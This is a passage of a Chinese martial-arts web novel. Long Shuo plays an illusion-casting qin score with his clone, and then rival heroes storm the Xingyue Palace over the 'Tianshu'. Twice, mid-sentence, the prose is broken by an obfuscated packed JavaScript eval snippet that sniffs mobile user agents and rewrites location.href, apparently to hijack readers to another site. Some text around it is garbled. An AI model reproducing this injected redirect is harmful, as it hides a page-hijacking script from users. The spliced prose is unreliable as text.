“我不知道!我问他他也不说,他只说会琴之人只要依照此琴谱弹奏出来都能够使人或多或少地产生幻觉,可是我曾经邀请天下最好的琴师尝试把这琴谱弹奏出来,你猜如何?” “如何?” “他们根本无法弹奏!” 龙烁感叹:“楚大哥,其实我刚才已经想到,不可能有人能弹奏出来,你瞧这下半部分的减字谱多数为两字重叠,至少需要四只手同时弹奏,一个人最多就只有两只手,怎么可能将他们一齐弹奏出来!” 楚作尘淡然一笑:“这首曲子的精妙之处便在于此,有几段曲谱是需要同一个人将两个减字谱同时弹奏出来才行,我做不到,别人也做不到,我白大哥却能做到!龙弟,你可听说过‘鬼影’指法?” “没有啊,没听过——” “姬希老前辈曾经创出一种叫作‘鬼影’的指法,运用此法,双拳可变四手,他曾经将这种指法传给他的五位弟子,用以修习他所创出的靡音易志术!而我白大哥就会这种指法——” “哦哦,那么如此说来,咱们猜得应该没错,白虎星君白翼很可能就是稽老前辈的二弟子橙翼子——” 楚作尘点头道:“白大哥说,天下武功,唯快不破,若想弹奏此曲,一是速度,二是思绪,此曲考验的不只是功力,更考验人的秉性,倘若此人性子急躁思绪繁杂,便不可能弹成此曲!”,他深深叹一口气:“只可惜,自从白大哥离开之后,我再没找到一个能够完整奏出此曲之人!天可怜见,如今,我终于找到了!” 50.如假包换 龙烁十分好奇:“是谁?他在哪?” “远在天边,近在眼前!” 龙烁举目四望,四下再无他人:“大哥你不会是在说我吧?” “正是!龙弟你应该已经猜出我带你来此地的用意了吧?” “你是说我能弹奏?”,龙烁尴尬一笑,不敢苟同:“楚大哥你别开玩笑了,我又何德何能可以与白虎星君媲美比肩,我刚刚学习古琴,基础知识都尚未记牢,别说白虎星君的手速我绝对达不到,就连一般寻常乐师的手速我也未必能达到!” “你天赋异禀,又记忆过人,《阳关三叠》只听一遍便能记住,这曲《金风玉露》虽然略微复杂一些,但是我相信你练习数遍过后也一定能奏好!” 龙烁连连摇头:“楚大哥,你知道的,这曲子的难点根本不在于我是否能够记牢琴谱,而是在于我根本没有另外的两只手啊!” “你有!” 龙烁嘴角抽动,似笑非笑,又见楚作尘正激动不已地看着自己,微感惊奇,竟然开始怀疑自己,他将双手举到面前反复查看,确认无误,又举到楚作尘面前:“没有啊,楚大哥,你看,我就只有两只手!” 楚作尘微微一笑:“龙弟,你是聪明一世糊涂一时,只要你施展分身术法,双拳不就立刻变成四手啦?” “啊?对哦,我可以!”,龙烁兴奋道:“楚大哥你真聪明,竟然想到这个主意!” 楚作尘轻轻一笑:“白大哥曾经说过,两个人无法全然做到心意相通,因此靡音术琴谱不可二人合力弹奏,只能由一人独立完成,所以,自从你说你会使分身术法之后我就想到此节!龙弟你悟性极高,这却是我没有想到的!” “哦哦,不是,我悟性不行的,那只是因为——” “你不必谦虚!”,楚作尘迫不及待地打断他:“你赶快施展分身术法试着弹奏一下那左半部分的琴曲,我来配合你吹箫,看看能否发挥出来这曲子的威力,快啊!” “哦哦,好!” 龙烁默念咒语,在身边分出来一个假身与他共同弹奏。 楚作尘将古琴放在他二人面前,那两名龙烁相视一眼,照着左边石壁上的减字谱弹奏起来。 楚作尘拿起洞箫刚想吹奏,却听那二人“铮铮铮”地一顿乱弹,琴音凌乱刺耳且根本不成曲调。 龙烁的分身骂骂咧咧道:“老大你在做什么,弹得这么难听,把我都整不会弹啦!” 龙烁暗觉好笑:“你不会弹是我整的吗?我都不会弹你能会弹?” “是是!”,那分身想了想,又道:“那还是你整的呀,你要是会弹我不就也会弹了嘛!” 龙烁正欲反驳,却听楚作尘轻娓娓道来:“调息运气,以气运臂,心无增减,万事可破——” “噢噢,好——” 楚作尘继续道:“按弦取音,刚柔并济,轻重徐疾,万法归一!” 龙烁微微点头:“咱们听楚大哥的,做到心无旁骛不被外界干扰!再试试——” “是,老大!” 二人不再说话,认认真真地照着石壁上的琴谱弹奏。 他们用意念彼此在心中交流,十根手指井然有序地拨弄琴弦,。 一抹婉转悠扬的琴音如小桥流水般从二人的指尖悄然滑出。 楚作尘微微点头,举起洞箫缓缓吹奏。 过不多时,却听琴音再次戛然而止。 龙烁惊呼:“沐阳兄,你怎么在这里?” 那分身立时站起身来:“老大你说什么?” 龙烁双手凌空虚抓,疑惑地问:“沐阳兄刚明明就站在我身边,他还叫了我的名字,怎么忽然间又不见了?” 楚作尘提示他:“是幻象,龙弟,这首谱子的奥妙之处便在于此,这琴音能够召唤出你此时最想见到的人!” “啊!” 龙烁恍然大悟,这才想起昨日在假山后面也曾听到沐阳兄喊自己的名字,原来是幻象,不禁暗暗疑惑:“这曲子能够召唤出我此时最想见到的人?可是,可是我最想见到的是红叶啊,为什么出现的不是她?” 楚作尘挠挠头:“这个,我就不得而知了!但是我可以告诉你,只要你坚定信念告诉自己这是幻想,出现在你身边的那个人就会立刻消失,只是常人很难做到这一点,因为他们不愿相信这是幻想!” 龙烁连连称赞:“有趣,真是有趣!” “龙弟,你先把曲谱记熟,咱们试一下!” “好好!” 龙烁只用半炷香的功夫便把谱子记牢,他坐回原地再次弹奏。 楚作尘发现龙烁的指法已经熟练,琴音愈发舒畅,微笑着点了点头。 他举起洞箫正打算切入,却听“砰”的一声巨响,龙烁再次起身大喊:“哈,这回召出的竟是我古辰兄,我虽想念他,但是他绝对不是我此时最想见到的人,嘎嘎,我就说嘛,一定是什么地方出了错——” “哈哈,天何兄,那么你此时最想见到的人是谁呢?” “我刚才不是说过啦,我此时最想见的当然是我红叶妹子啊!古兄,我劝你还是赶快从我面前消失吧,我知道你不是真的!” 龙烁打一个响指,示意分身继续弹奏,与此同时,口中不住嘟囔:“集中意念,心无二用,古兄,你快点消失吧——” “天何兄,你就这么讨厌见我?”,古辰哈哈一笑:“难道守中堂里发生的事你还记在心上?你红叶妹子也来啦,你若想见她,可以去大殿找她!” 楚作尘眉头紧皱:“你是如何进来的?” 龙烁瞥眼见到楚作尘表情十分严肃,正在对古辰这个不速之客怒目而视,奇问:“怎么我的幻象你也能看到吗楚大哥?” “你的幻象我自然是看不到,只不过你的这位朋友,我却能够看到!” 楚作尘闪身到古辰面前,将其双手拢在背后:“你是何人,竟敢擅闯星月宫!” “好痛!”,古辰呻吟。 龙烁忙问:“你真是古兄?” “如假包换啊!”,古辰痛苦道。 “啊呀——”,龙烁这才反应过来刚刚不是幻象:“楚大哥,这位是古辰公子,他是我的好朋友,请你放了他吧!” 楚作尘收手质问:“你是如何进来星月宫的?” 古辰揉揉胳膊刚欲回答,却听一个青年男子高喊:“青龙星君,青龙星君,不好了,出大事啦!” 那男子中气不足,似乎受了很严重的伤。 龙烁回头一看,那人的左手被人砍断了,右手执着一把血乎淋漓的软剑,一瘸一拐地向这边挪动。 楚作尘飞身到那男子身边:“飞云,出什么事了?” “青龙星君,有大批江湖人士正在围剿星月宫,二十八星部正在全力对敌,可是他们高手众多,大家抵挡不住,有两位星主已经牺牲了——” “什么?哪两位星主牺牲了?” “是东方七部的箕星主和西方七部的奎星主!” 楚作尘身子微微晃动,旋即定下心神:“咱们赶快下山!”,他说着携飞云往山下奔去。 龙烁急忙拉起古辰一起追上:“他们不是说十月初一才来吗,怎么提前到了?” 古辰道:“有些人担心走漏风声,建议尽早出击以便杀他们个措手不及,这才提前赶到了!” 楚作尘问:“他们为何而来?” 古辰解释:“江湖上一致认为是朱雀星君杀死了神兽白泽夺走《天书》,他们此番前来,正是想来讨回《天书》的!” 龙烁暗想:神兽白泽将通灵之术传给我后精气散尽,朱雀星君恰巧出现,又朝着白泽射了几剑,因此才被别人误会了!当时守中堂内群雄激愤情况复杂,众人直将矛头指向我和沐阳兄,即使我说出真相他们也不会相信,况且叶子规在蜀地滥杀无辜肆意妄为,没给大伙儿留下什么好印象,他成为众矢之的那更是顺理成章!哎,只怪我当时也没有多想,现下这些人杀上星月宫来若是为难我楚大哥,我到时候可一定要向他们解释清楚!” “《天书》?那是何物?”楚作尘问。 龙烁暗忖:“《天书》其实是白泽的通灵之术,它已经传给我了,这我要不要说呢?” “不知!”,古辰摇头:“据说是一本极为高深的术法秘籍!” “嗯!”,楚作尘转头问飞云:“宫主是否尚在宫中?” “青龙星君您是知道的,宫主每次回宫跟您商议完宫中事务后便会离开,再回来便需要等个把月之后了!” “是!”,楚作尘喃喃道:“可是众多江湖人士前来围剿星月宫,宫主他老人家消息灵通不可能不知道,他既然不回来,这就说明他老人家认为咱们一定能够成功退敌,只是我很纳闷,咱们青晷峰星月宫的位置如此隐秘,他们到底是如何找到这儿来的?” “不是啊楚大哥!”,龙烁提醒:“有一个叫作玄机道人的老道,他认得来这里的路!” “啊,原来如此!”,楚作尘回忆:“二十年前,洛阳白云山清风观的玄机道长曾经误打误撞闯入星月宫,被大伙儿围攻,是我暗中相助给他指明出宫之路救他性命,没想到此人恩将仇报,竟然带人杀上星月宫!” 楚作尘一声叹息:“只可惜我白大哥早已离开星月宫,哼,若是他在的话,别说他玄机道长,谁都决计进不来这里,白大哥的密云阵法可以将他们永远困在里面……” 说话间,几人已经赶至星月殿外。一眼望去,里面乌泱泱地挤满了人。 喊杀之声响彻天地,似是有千军万马在里面冲锋陷阵。 楚作尘携着飞云一个纵跃落到大殿中央。龙烁和古辰则推开厮打的人群挤进大殿。 此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414032|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时的星月殿已经完全没有了昨日的肃慕和威严,地面上横七竖八躺了一地尸体,只有其中一少部分是江湖人士,更多的竟是东西方十四部的星主星君。 洛阳清风观的玄机道长、“三寸不烂舌”温酌言、天龙坛云坛主云飞月、黑虎寨廖寨主廖通、逍遥岛胡岛主胡媚儿、御火神将相天歌等等那些曾经出现在守中堂的一众英雄豪杰此时竟然都悉数到了场。 云飞月不住从胸口的衣袋中拽出一根根蠕动的黑色藤蔓朝着星月宫的人投射、廖通挥一把大刀肆意横扫、胡媚儿时不时抽出她的指间利刃给对方致命一击、相天歌的双手紧握两团蓝黑火焰,无数火苗从他掌心激射而出,接连击中星月宫的星主星君。 龙烁拦下一名青衣星君问:“你们不是号称有上万星君吗,怎么大殿之中才只有这几百人?” 这人是东方七部的角星主。 “我们星月宫位置隐秘,鲜有外人闯入,因此只留很少星君在宫中,大部分的人马都常年在宫外办事!” “哦哦,那你们为何不使用索心术对付他们?” “没有青龙星君的允许,东西方十四部的人不得擅自使用索心术!” 龙烁哭笑不得:“愚忠之至,你们也不看看现在都什么情况了!” 角星主推开龙烁:“什么情况也不行,没有青龙星君的允许大家不能使用索心术!”,他说着提剑便又冲上前去对敌。 龙烁环视四周,竟不见南宫盈和他的弟子们,红叶也不在这里,连忙问古辰:“红叶呢,你不是说她来了?” 古辰奇道:“是啊,她刚才还在这里!” 楚作尘见东方七部的房星主被人割断喉咙倒地而亡、尾星主被一根黑色藤蔓捆住身子无法动弹、西方七部的参星主全身已被烧焦死状惨烈、昴星主摆着一副挺剑刺击的模样然而却一动不动地定在原地,口中兀自高喊:“来人,快给我解开穴道!” 周围更有无数星君壮烈牺牲,龙烁连呼:“住手”,却是没人理会,他转身问飞云:“你不是说二十八星部都在全力对敌吗?怎么只见东西方十四部的人在这里,南北方十四部的人呢?朱雀星君和玄武星君呢?” “我不知道啊,刚才还看到他们都在呢!” 忽然间,西北方向一人大喊:“青龙星君,南北方十四部的人根本没有对敌,他们像是事先约好了似的,冲出包围圈之后就都消失不见啦——” 龙烁定睛一看,这人身着一身青色衣衫,显是东方七部的人,他胸口被人刺了一剑,鲜血兀自汩汩流淌。 楚作尘关切地问:“亢星主,你没事吧?” “属下暂时死不了,快,这里太危险,我掩护您逃出去!” 楚作尘微微摇头,带他和飞云一个纵跃来到殿外:“飞云,带亢星主去疗伤,没我的命令不可再进入大殿!” “不,不行啊,青龙星君——” 二人还未来得及上前阻拦,楚作尘一个纵跃又飞回了大殿之中。 龙烁忙抢上前来阻拦:“楚大哥,你忘了小陆的话了?你不能动武,否则这伤就很难好啦——” “顾不得那么多了,救人要紧!” 楚作尘一掀衣摆,一脚踢飞一名黑虎寨的武士,那人手持大刀正欲砍杀一名西方七部的白衣星君。 古辰见他救下这人之后转身又去解救他人,不但竭尽全力解救星月宫的人,就连即将要被杀死的江湖人士他也一并解救,连连赞叹:“青龙星君这‘玉面君子’的名号果然是当之无愧!” 忽见楚作尘脚下地面微微凸起,龙烁顿时想起自己在万兽山无意中踩到巴蛇脑袋的那一幕,背上立即生出一身冷汗,暗想莫不是这里也有一条大蛇吧! 只听“砰”的一声巨响,一个黄色物什冲天而出,如同一只巨大的蝗虫般在楚作尘身边飞速旋转,将其牢牢地围在垓心。 楚作尘泰然自若,定睛一看,原来是一个黄毛老儿在这里装神弄鬼。 他微微一笑,将背上的古琴卸下,快速拨弄琴弦。 只听“铮铮”两声清响,那黄毛老儿便如一只巨大的黄鼠狼般从空中直直坠落到地上,脸上的表情既惊恐又惊讶。 又听“铮铮”两声琴响,这黄毛老儿竟然站起身子开始手舞足蹈起来。 他的面色一会儿十分愉悦,一会儿又惊恐万分,悲喜交加变幻莫测,似是不受控制。 龙烁知道那人是盖天虎,他已经中了楚大哥的“瑶琴牵引之术”,心中暗暗叫好,却见楚作尘身后的衣衫不时有鲜红的血液渗出,显是脊鞭留下的伤口再次破裂,心中又暗暗叫苦,连忙劝说:“别打了,别打了,君子动口不动手,你们都别打了,楚大哥,赶快停手啊——” 眼见楚作尘背后的衣襟已经全部被鲜血浸湿,焦急之下,他心中暗忖:“敌众我寡,看来只得智取,不可力敌——” 51.感同身受 龙烁忽然放声大喊:“大家都别打啦,《天书》找到啦——《天书》找到啦——” 霎时间,偌大的星月殿忽然变得鸦雀无声,众人不约而同地将目光投向龙烁。 一人从人群中闪出身来,高兴道:“是龙兄弟——别来无恙啊!” 那人直奔龙烁给了他一个大大的拥抱。 龙烁定睛一看,原来是关武,心中激动:“关大哥,你也来啦?” “还有我——”,张全亮拍拍他肩膀:“龙兄弟,是我啊,哈哈哈哈——” 两人一左一右围在龙烁身边对他嘘寒问暖,却听一女子阴阳怪气道:“臭小子,你果然嘴里没有一句真话,你不是说你不会来吗?还说什么有要事在身不便参与,我看你莫不是自己偷偷地提前跑来寻找《天书》了吧!” 听这说话的声音,正是逍遥岛岛主胡媚儿。 相天歌收起手中的火焰大喝:“快说,《天书》在哪里?” “相大爷——,”胡媚儿鄙夷地问:“呵!你难道还相信这小鬼头的话?” 张全亮见众人对龙烁颇有敌意,脸现不悦,又见楚作尘呼吸粗重地正朝龙烁这边缓缓走来,提起板斧厉声大喝:“休得伤害我龙兄弟!” 龙烁忙解释:“张帮主,他是星月宫的青龙星君,是个大大的好人——” 话音未落,有人忽施暗算,一纸折扇在楚作尘背后快速划过。 楚作尘后背吃痛,倏地摔倒在地,胸中烦恶之意上涌,忽地吐出一大口鲜血。 那人尖叫:“楚作尘,二十年前你杀死我弟弟温酌语,今日我一定要为他报仇,现下你身受重伤真是天助我也,哈哈哈哈,拿命来吧——” 他一挥折扇又向楚作尘面部击去。 此人正是温酌言。 “楚大哥——” 龙烁连忙扑到他身旁打算替他挡下这一记重击,身后“嗖”的一声轻响,想必便是那折扇划过的声音,龙烁觉得这次必然中招,然而过了一会儿他却并未感到身上有哪里疼痛,抬头一看,一尾拂尘从头顶上方掠过,原来是清风观的玄机道长。 “温学士——”,玄机道长轻哼一声:“江湖上谁人不知你的弟弟温酌语向来信口雌黄不酌言语,他在江湖上得罪了多少人你自己心知肚明,楚居士宅心仁厚宽宏大量,他若是对你弟弟动手,那定然是温酌语胡言乱语得罪他在先——” 玄机道长向楚作尘点头示意,楚作尘知道他大概是感念自己当年的救命之恩,特意站出来替自己解围,也轻轻点头表示感谢。 温酌言怒喝:“玄机老道,你说什么?” 楚作尘勉力站起身子高喊:“你们无需争辩,无论如何,当年是我失手杀死令弟,如今你要报仇,尽管冲我来便了,星月宫的人,你们不能再去为难!” “哼——”,温酌言十分不屑:“你想以一己之力保全星月宫,未免也太自不量力,你们星月宫到处掳掠年轻男子,不知道的,还以为他洪山雪是有什么特殊癖好,呵,如今上梁不正下梁歪,你们又偷走谢庄主的《天书》,大伙儿岂能善罢甘休!” “姓温的——”,角星主喝骂:“请你嘴巴放干净点儿——” 温酌言冷言道:“本人名叫温酌言,已经尽力在斟酌言语了,若非如此,更难听的话后面还有一大堆,要不要我说出来给你们听?呵,你们以为青龙星君是正人君子吗?那不过是他为掩饰自己的残暴而伪装出来的假象罢了! 当年山鹰寨的人在长安城里横行霸道胡作非为,江湖上的仁人志士共同商议围剿之事,他楚作尘却突然跑过来捣乱,竟然用他的‘洞箫飞雨术’将这群人全部杀害了,其中就包括我的弟弟温酌语,更可恨的是,这些人全身血肉模糊死状惨烈,根本看不出他们的本来面目,要不是我弟弟他的右手中指断了一截让我认了出来,我都没办法替他收尸!哼,什么星月宫的青龙星君,什么玉面君子楚作尘,他根本就是一个杀人不眨眼的伪君子真小人——” “你胡说——” 角星主义愤填膺打算冲上前去与他拼杀,却被楚作尘拦下。 楚作尘长叹一声:“只怪我当时年轻识浅不懂得明辨是非,又没有问明其中原委曲直,以为这些人便是百姓们口中所说的山鹰寨的人,于是误将他们全部杀害了。当年我自己犯下的过错,现下愿意一力承担,诸位要杀要剐悉听尊便,但是,你们口中所说的什么《天书》,在下一没有听过,二没有见过,《天书》根本没有在星月宫,而你们却不分青红皂白地便来与我们为难,无缘无故杀死了我们许多兄弟,我还须向大家讨个说法!” 云飞月走上前来拱手道:“青龙星君,你能承认自己当年所犯过错,我敬重你是条汉子,只是,我们大伙儿得到消息,万兽山的神兽白泽突然惨死,杀它之人拿到了《天书》,据我们了解,白泽乃是被朱雀星君叶子规和他的手下乱剑刺死的,所以我们断定,一定是他拿走了《天书》! 这《天书》本就是属于亭韵山庄谢庄主的,朱雀星君若肯将《天书》奉还,后面的事,咱们大可从长计议!” 楚作尘语气坚定:“我说过了,《天书》不在星月宫,你们是绝不可能在这里找到的!” “你为什么那么肯定?”,相天歌问。 “《天书》若在星月宫,宫主他老人家一定会知道,他老人家若是知道的话,我便绝不可能不知道——” “洪山雪又不是神仙,他怎么可能什么都知道?”,胡媚儿冷言讥讽:“呵,再说了,就算他知道,难道他什么事都会跟你这个下人说么?” “是!”,楚作尘肯定地说:“宫主虽然常年在外游猎,但是宫中所发生的一切事情都逃不过他老人家的法眼。他不在的这段时间,便会将宫中的一切事务交由我来全权负责,宫主的一切法令也是全部由我传达,他老人家绝对不会对我有丝毫隐瞒,所以我敢肯定,诸位英雄所说的《天书》绝不可能在我们星月宫!” “呵,你这话说得一点毛病也没有!” 盖天虎终于能够站起身来,他自觉刚才太过丢人现眼,骂骂咧咧道:“做贼的永远在喊捉贼,哪有做贼的大喊自己是贼的道理?” “呵呵,就是!”,胡媚儿嘲笑:“瞧你背上的伤痕,必是受了洪山雪那个老东西的脊鞭之刑,他既那么信任你,又怎会对你下如此狠手呢?呵呵,青龙星君,我瞧你长得仪表堂堂玉树临风,怎么说话也跟姓龙的那小贼一样儿没边没沿儿的!” 这种被众人冤枉的感觉龙烁感同身受,他回想当时自己和沐阳兄在守中堂里被人诬陷时的情景到现在仍然记忆犹新,只是与自己当时的手足无措相比,此时的楚大哥却显得更加镇定自若。 楚作尘脸现愠色:“诸位既不相信我楚作尘所说的话,在下又何须多费唇舌再做解释,你们杀我星月宫众多星君这笔账,我现在就来跟你们算一算!你们是单挑还是一起上?尽管放马过来便了!” 他将背上的古琴卸下交到龙烁手中,右手伸进胸口的衣袋将那把青色洞箫取出,向龙烁微微点头示意,提起洞箫准备吹奏。 众人吓得连连后退,不知不觉竟让出来一个更大的包围圈。 “洞箫飞雨术——”,温酌言语音轻颤:“你有本事就将在场的所有人全都杀了,正好让大伙见识见识你这个伪君子大魔头到底是如何的丧心病狂——” 龙烁心知楚大哥绝对不会违背誓言再去使那“洞箫飞雨·珠落玉盘”之术,却也不明白他此时究竟是何想法,眼见众人摩拳擦掌便要一拥而上,他鼓起勇气大吼一声:“《天书》不在朱雀星君的手上,白泽已经——已经将《天书》传给我啦——” 众人一阵错愕,均用异样的眼神瞧向龙烁。 廖通问:“《天书》传给了你?在哪里?快拿出来给我们看看——” 龙烁指着自己的脑袋:“在这里,白泽已经把《天书》的全部内容传到我的脑海之中了——” “胡说八道!”,盖天虎骂骂咧咧:“你小子他妈的嘴里果然没有一句真话!《天书》传给了你,你武功怎会这么差!” 龙烁解释:“《天书》只是一本通晓动物心灵的法术,并不是什么高深的武功术法秘籍——” “放屁!”,盖天虎呵斥:“你说的那是南宫老爷的蛊灵之术!” 廖通讥讽:“你想引诱我们与南宫老爷为敌让我们自相残杀?哼哼,小子,你还嫩了点儿!” 龙烁解释:“蛊灵之术是控制动物的行为,而通灵之术则是明白动物的思想,二者并非同一种法术!况且,一个是一对一,一个是一对多,这两种法术是不一样的!” 盖天虎啐了一口:“什么一对一,一对多,臭小子,我看你是想一对多,活得不耐烦了么?” 龙烁哭笑不得:“盖大爷你这话说得真是有趣,谁会嫌自己的命长呢是不是?不过,我还是要好意提醒你们,西南八俊的其他几位英雄都在此地,独不见南宫盈和他的弟子们,而谢灵雨本应代表谢庄主前来讨要《天书》,此时竟也不在这里,南北方七部的人和南宫盈的人一齐莫名消失,这里面不知有什么阴谋,你们小心不要被骗了!” 郭伯举忽然闪出身来冷冷地道:“龙少侠,当日陈糠粟一事你曾经好意提醒,我们敬重你个见义勇为的少侠,如今你若是要调转矛头来诬陷我们南宫大哥,待会儿斗起来,莫要怪我们不留情面!” 郭小妹期到郭伯举耳边:“大哥,我瞧龙公子不像是会说谎话的人!” “小妹,知人知面不知心,咱们才跟他见过几次面,你又对他有多少了解了?”,郭仲孝提醒:“咱们此次跟着南宫大哥前来星月宫乃是为大伙儿助阵的,咱们须得团结一致,莫得叫旁人钻了空子引得咱们自己人先起了内讧!” “是啊小妹!”,郭叔廉劝她:“若是谁一说谎话都能轻而易举地叫你瞧出来了,那么天下又何来那么多的骗子了?” 龙烁微微叹一口气,不再言语。 “就是就是,咱们人多势众又何必怕他们呢!”,盖天虎大叫:“喂,姓楚的,快快叫叶子规出来,交出《天书》饶你们不死!” 楚作尘眉头微蹙:“星月宫危难之际,南北方七部的人竟突然不知所踪,在下也正自奇怪,不知他们去了何处,诸位英雄刚刚是否见过他们?” “呵呵!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温酌言乃是一介书生,于武功术法方面所学并不精深,最擅长的一招便是背后偷袭,他见胡媚儿与楚作尘较量之时颇占上风,于是趁机加入进来打算借助胡媚儿的攻势找机会偷施暗算,哪承想女人心海底针,胡媚儿竟一会儿帮着自己打楚作尘,一会儿又帮着楚作尘挡住自己的袭击。 他本就内力不足,现下缠斗许久又是徒劳无功,反而将自己累得气喘吁吁,不禁十分气愤地:“你为何要帮他?” “这么英俊的星君,杀了他不可惜么?呵呵——” “难道你忘了咱们大家来到此地的目的了吗?” “老娘不知道《天书》好看不好看,却发现这里的男人倒是都挺好看的,呵呵——” “骚娘们,这里好看的男人多的是,你瞧上哪个了我温酌言帮你一起抓,你又何必为这个姓楚的拼死拼活?” “笑话,就你这三脚猫的功夫还值得老娘拼死拼活?再说了,老娘的勾魂术法百发百中,又什么时候需要别人帮忙了,呵呵,这个青龙星君英俊中又带些儒雅,是老娘以前没有玩过的,这次一定不能放过他,呵呵——” 龙烁作势欲呕,心中暗忖:“这娘们好不害臊!” 他两人说话之间楚作尘又被胡媚儿救下两次,温酌语大怒,折扇回拨,转而攻向胡媚儿:“他妈的,忍无可忍,无须再忍,我先杀你,再去杀他——” “不自量力!” 胡媚儿咯咯娇笑:“你们这种书呆子是所有男人中最没有定力的了,老娘片刻便可拿下,不过你放心,对于老娘丝毫不感兴趣的人老娘也根本不屑于使用勾魂术,我就用我的指尖刃来将你的折扇割成碎片,呵呵——” 胡媚儿拉出右手食指指尖刃的银色丝线对付温酌言,不一会儿的功夫,竟将温酌言手中的折扇割成了一把千叶扇,气得温酌言的胡须飞上了天。 两人争斗之际,楚作尘成功脱身,他见东西方七部的星君又死了十几人,丝毫没有停顿,又飞身上前与他们缠斗起来。 龙烁见楚作尘背后的鲜血越流越多,额头上的汗珠越生越大,正欲飞身上前帮忙,却忽然被快如闪电的三个人影挡住去路。无数衣服碎片如落花般在那三人周身回旋飘荡。 龙烁尚未明白发生什么事,却见前面几个白衣星君纷纷失声大叫:“我的衣服破了!”“哎哟,我的胳膊露出来啦!”“我的后背怎么这么冷,哎呀坏啦——” 一名青衣星君提醒:“大家注意遮蔽,宫主最在意咱们的形象!” 龙烁定睛一看,是西陵三恶少,忙道:“简秋姑娘不要打了,大家有事好商量——” 简秋根本没有理会他,径直走向西北角正在作壁上观的古辰:“你,你为何还在这里?” 古辰奇问:“那我应该在哪里?” “在你师父那里啊!” “我师父现在哪里?” 简秋难以置信地问:“你不知道你师父去了哪里?” 古辰不解:“他老人家刚还在这里啊!” 龙烁无心理会他二人的对话,绕过几人直冲楚作尘奔去,却听简秋继续道:“我见他们几人似是钻进了一个无形的隧道,忽然间一下子就都不见了踪影,我四处找你不到,以为,以为你也跟他们走了!” “无形隧道?”,古辰若有所思:“莫非他也来了?”